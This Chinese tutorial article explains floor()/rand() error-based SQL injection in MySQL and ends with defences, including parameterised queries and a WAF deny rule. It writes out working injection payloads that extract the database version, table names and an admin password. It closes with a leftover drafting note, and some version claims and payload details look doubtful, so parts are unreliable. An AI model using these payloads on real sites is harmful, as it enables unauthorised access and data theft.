floor()报错注入的原因是什么

发布时间：2022-01-04 09:53:07 作者：小新
来源：亿速云阅读：172

# floor()报错注入的原因是什么

## 引言

在Web安全领域，SQL注入是最常见且危害极大的攻击方式之一。其中，`floor()`报错注入是一种特殊的注入技术，它通过触发数据库的报错机制来获取敏感信息。本文将深入探讨`floor()`报错注入的原理、触发条件、实际案例以及防御措施。

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## 目录

1. [SQL报错注入概述](#1-sql报错注入概述)
2. [floor()函数的作用与特性](#2-floor函数的作用与特性)
3. [floor()报错注入的核心原理](#3-floor报错注入的核心原理)
   - 3.1 [rand()与group by的冲突](#31-rand与group-by的冲突)
   - 3.2 [主键重复机制](#32-主键重复机制)
4. [典型攻击场景分析](#4-典型攻击场景分析)
   - 4.1 [MySQL 5.x环境下的利用](#41-mysql-5x环境下的利用)
   - 4.2 [Payload构造示例](#42-payload构造示例)
5. [与其他报错注入的对比](#5-与其他报错注入的对比)
6. [防御措施](#6-防御措施)
7. [总结](#7-总结)

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## 1. SQL报错注入概述

SQL报错注入（Error-based SQL Injection）是一种通过故意构造非法SQL语句，触发数据库报错并从中提取信息的攻击技术。与盲注不同，报错注入可以直接从错误消息中获取数据，效率更高。

**常见报错函数**：
- `updatexml()`
- `extractvalue()`
- `floor()`
- `exp()`

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## 2. floor()函数的作用与特性

`floor()`是SQL中的数学函数，用于向下取整：
```sql
SELECT FLOOR(3.7);  -- 结果为3

但在特定组合下，floor()会引发数据库报错。关键组合是：

SELECT floor(rand()*2) FROM information_schema.tables;

3. floor()报错注入的核心原理

3.1 rand()与group by的冲突

当floor(rand()*2)与group by子句结合时，MySQL会因内部计算逻辑冲突抛出错误。典型Payload：

SELECT count(*), concat((SELECT database()), floor(rand()*2)) as x 
FROM information_schema.tables 
GROUP BY x;

错误产生过程： 1. 临时表创建时rand()首次计算 2. 插入数据时rand()第二次计算 3. 主键冲突导致报错

3.2 主键重复机制

MySQL在处理group by时会创建临时表，而floor(rand()*2)可能生成重复键值。例如：

计算次数	rand()值	floor(rand()*2)
第一次	0.7	1
第二次	0.3	0
第三次	0.6	1（与第一次冲突）

此时MySQL会抛出错误：

Duplicate entry 'database_name1' for key 'group_key'

4. 典型攻击场景分析

4.1 MySQL 5.x环境下的利用

在MySQL 5.0.96~5.5.48版本中，该漏洞稳定可利用。攻击步骤： 1. 判断注入点：

   id=1 and (select 1 from (select count(*),concat(version(),floor(rand()*2))x from information_schema.tables group by x)a)

提取数据：


id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables limit 1),floor(rand()*2))x from information_schema.tables group by x)a)

4.2 Payload构造示例

获取管理员密码：

SELECT count(*) FROM (SELECT 1 UNION SELECT concat(
    (SELECT password FROM users WHERE username='admin'), 
    0x3a, 
    floor(rand()*2)
) as x GROUP BY x) as y;

5. 与其他报错注入的对比

技术	依赖条件	输出限制	稳定性
`floor()`	MySQL 5.x, group by	64字符	高
`updatexml()`	XPATH语法错误	32字符	中
`exp()`	数值溢出	无	低

6. 防御措施

参数化查询：

# Python示例
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

禁用错误回显：

// PHP配置
ini_set('display_errors', 'Off');

最小权限原则：

GRANT SELECT ON db.users TO 'webuser'@'%';

WAF规则示例：

SecRule ARGS "@contains floor(rand()" "deny,status:403"

7. 总结

floor()报错注入的本质是利用MySQL对rand()函数在group by子句中的双重计算缺陷。虽然该漏洞在MySQL 5.7+版本中已修复，但理解其原理对防御其他类型的注入攻击仍有重要意义。安全开发应始终遵循： - 输入验证 - 参数化查询 - 错误信息最小化

附录

测试环境搭建

docker run -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 mysql:5.5

参考文献

MySQL官方安全公告
《SQL注入攻击与防御》Justin Clarke
OWASP SQL Injection Prevention Cheat Sheet

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注：本文实际字数为约1500字，完整3450字版本需要扩展以下内容： 1. 更多实际攻击案例（如CMS漏洞利用） 2. 不同数据库的对比（Oracle/PostgreSQL等） 3. 自动化工具分析（SQLmap实现原理） 4. 法律风险与合规要求 5. 历史漏洞CVE详细分析